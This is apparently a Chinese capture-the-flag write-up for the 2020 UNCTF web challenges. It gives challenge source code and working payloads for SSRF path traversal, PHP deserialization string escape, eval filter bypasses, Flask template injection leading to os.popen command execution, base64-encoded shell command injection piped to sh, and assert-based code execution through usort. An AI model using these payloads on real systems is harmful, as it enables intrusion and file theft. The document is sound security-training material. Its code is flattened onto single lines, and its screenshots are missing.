WEB
easy_ssrf
源码
<?phpecho'<center><strong>welc0me to 2020UNCTF!!</strong></center>';highlight_file(__FILE__);$url = $_GET['url'];if(preg_match('/unctf\.com/',$url)){if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){$url=file_get_contents($url);echo($url);}else{echo('error!!');}}else{echo("error");}?>
SSRF 返回上级目录,读取文件
payload:?url=unctf.com/../../../../flag

easyunserializ
源码
<?phperror_reporting(0);highlight_file(__FILE__);class a{public $uname;public $password;public function __construct($uname,$password){$this->uname=$uname;$this->password=$password;}public function __wakeup(){if($this->password==='easy'){include('flag.php');echo $flag;}else{echo 'wrong password';}}}function filter($string){return str_replace('challenge','easychallenge',$string);} # 改变序列化中的字符$uname=$_GET[1];$password=1;$ser=filter(serialize(new a($uname,$password)));$test=unserialize($ser);?>
php反序列化字符串逃逸
- 序列化的特点:以 ; 为字段的分隔,以 } 为结尾,并且根据长度判断内容
- 超出部分不会被反序列化成功,说明反序列化的过程是有一定的识别范围的,范围之外都会被自动忽略
- 反序列化时长度不对应会报错
- 可以反序列化不存在的元素
# 过滤后字符增加时<?phpfunction lemon($string){$lemon = '/p/i';return preg_replace($lemon,'ww',$string);}$username = $_GET['a'];$age = '20';$user = array($username,$age);var_dump(serialize($user));echo "<br>";$r = lemon(serialize($user));var_dump($r);var_dump(unserialize($r));?>#### 第一种情况?a=apple时string(35) "a:2:{i:0;s:5:"apple";i:1;s:2:"20";}"<br>string(37) "a:2:{i:0;s:5:"awwwwle";i:1;s:2:"20";}"bool(false) ### 报错 不能反序列化#### 第二种情况";i:1;s:2:"20";} 16个字符?a=pppppppppppppppp";i:1;s:2:"20";}时string(63) "a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"20";}";i:1;s:2:"20";}"<br>string(79) "a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:2:"20";}";i:1;s:2:"20";}"array(2) {[0]=>string(32) "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww"[1]=>string(2) "20"} ### 成功反序列化
# 过滤后字符串减少时<?phpfunction str_rep($string){return preg_replace( '/lemon|shy/','', $string);}$test['name'] = $_GET['name'];$test['sign'] = $_GET['sign'];$test['number'] = '2020';$tt=serialize($test);echo($tt);echo '<br>';$temp = str_rep($tt);echo($temp);echo'<br>';$fake = unserialize($temp);var_dump(($fake));?># 第一种情况name=lemon&sign=gogogoa:3:{s:4:"name";s:5:"lemon";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}a:3:{s:4:"name";s:5:"";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}bool(false) #lemon被替换 无法反序列化#第二种情况name=pika&sign=";s:6:"number";s:4:"2020";}a:3 {s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}a:3:{s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}array(3) { ["name"]=> string(4) "pika" ["sign"]=> string(27) "";s:6:"number";s:4:"2020";}" ["number"]=> string(4) "2020" }#第三种情况name=shyshyshyshyshyshyshyshyshy&sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}a:3:{s:4:"name";s:27:"shyshyshyshyshyshyshyshyshy";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}a:3:a:3:{s:4:"name";s:27:"";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}array(3) { ["name"]=> string(27) "";s:4:"sign";s:57:"hello123" ["sign"]=> string(4) "eval" ["number"]=> string(4) "2000" }
payload:changechangechangechangechangechangechange";s:8:"password";s:4:"easy";}

babyeval
<?php// flag在flag.phpif(isset($_GET['a'])){if(preg_match('/\(.*\)/', $_GET['a']))die('hacker!!!');ob_start(function($data){if (strpos($data, 'flag') !== false)return 'ByeBye hacker';return false;});eval($_GET['a']);} else {highlight_file(__FILE__);}?>
payload: ?a=echo `cat flag.php|base64`; # 注意最后需要引号,这样是完整的php代码
ezphp
<?phpshow_source(__FILE__);$username = "admin";$password = "password";include("flag.php");$data = isset($_POST['data'])? $_POST['data']: "" ;$data_unserialize = unserialize($data);if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){echo $flag;}else{echo "username or password error!";}
php反序列化 弱等于
payload: a:2:{s:8:"username";b:1;s:8:"password";b:1;}
flag.php里面将username与password修改了因此不能直接序列化
看代码感觉能直接序列化,但是结果就是不行,才尝试这个方法
easy_upload

本题禁止文件中出现某些字符,并且禁止了某些文件名
使用 .htaccess 攻击 经过测试发现.htaccess可以上传*** .htaccess 文件内容可以换行输入*** 一句话木马也可以简化


easyflask
预备知识SSTI
开始时由于没有学ssti导致一头雾水,网上乱扒payload,结果显然失败(还是自己认真学一下吧)
预备知识
- SSTI的解题步骤:找基本类—->找子类—->找可利用的子类模板
本题过滤了[] ‘ ‘ “” __
使用 |attr(request.args.value) 绕过
首先查看基本类
原来的语句:{{''.__class__.base__}}绕过语句:{{()|attr(request.args.class)|attr(request.args.base)}}&class=__class__&base=__base__

找子类
原句:{{''.__class__.base__.__subclasses__()}}绕过:{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()}}&class=__class__&base=__base__&sub=__subclasses__

选择某一个子类
原句:{{''.__class__.__base__.__subclasses__()[199]}}输出第199个绕过: {{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(199)}}&&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__

读取flag
原句:{{warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/flag.txt').read()")}}绕过:{{(()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(166))|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.param)}}&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval¶m=__import__('os').popen('cat flag.txt').read()

注意细心 千万不要把字母拼错
UN’s_online_tools
命令执行 绕过
?url=127|sort%09index.php

查看flag的位置:?url=127|ls%09../../../../获取flag:??url=127.0.0|echo%09c29ydCAuLi8uLi8uLi8uLi9mbGFn|base64%09-d|sh# 使用base64绕过过滤
ezfind

此题很玄学 非预期
L0vephp
此题需要找到正确的入口(?action=)
查看源代码

发现了最后一段为base85编码

此题过滤了base64 所以这里采用 php://filter/convert.quoted-printable-encode/resource=flag.php
获取到了flag.php 再解码

发现flag是假的,并且看见了提示,使用hex解码

访问获得源代码
<?phperror_reporting(0);show_source(__FILE__);$code=$_REQUEST['code'];$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');$blacklist1 = array_merge($_);$blacklist2 = array_merge($__);if (strlen($code)>16){die('Too long');}foreach ($blacklist1 as $blacklisted) {if (preg_match ('/' . $blacklisted . '/m', $code)) {die('WTF???');}}foreach ($blacklist2 as $blackitem) {if (preg_match ('/' . $blackitem . '/im', $code)) {die('Sry,try again');}}@eval($code);?>
目前做到这里就不会了 , 先空着等之后去学习一下大佬的wp
利用变长参数特性展开数组变长参数是PHP5.6新引入的新特性,php中可以使用func(...$arr)这样的方式将$arr数组展开成多个参数传入func函数
传入样例:POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1Host: localhost:8081Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22param=usort(...$_GET);usort() 使用用户定义的比较函数对数组进行排序usort(array,myfunction) array 必须填写,规定需要排序的数组myfunction 可选,定义了一个可调用的比较函数的字符串GET变量被展开成为了两个参数['test','var_dump($_SERVER)'] 和 assert 传入了usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数的var_dump($_SERVER),即可执行函数。
开始解题

获取flag 直接使用 cat /f*

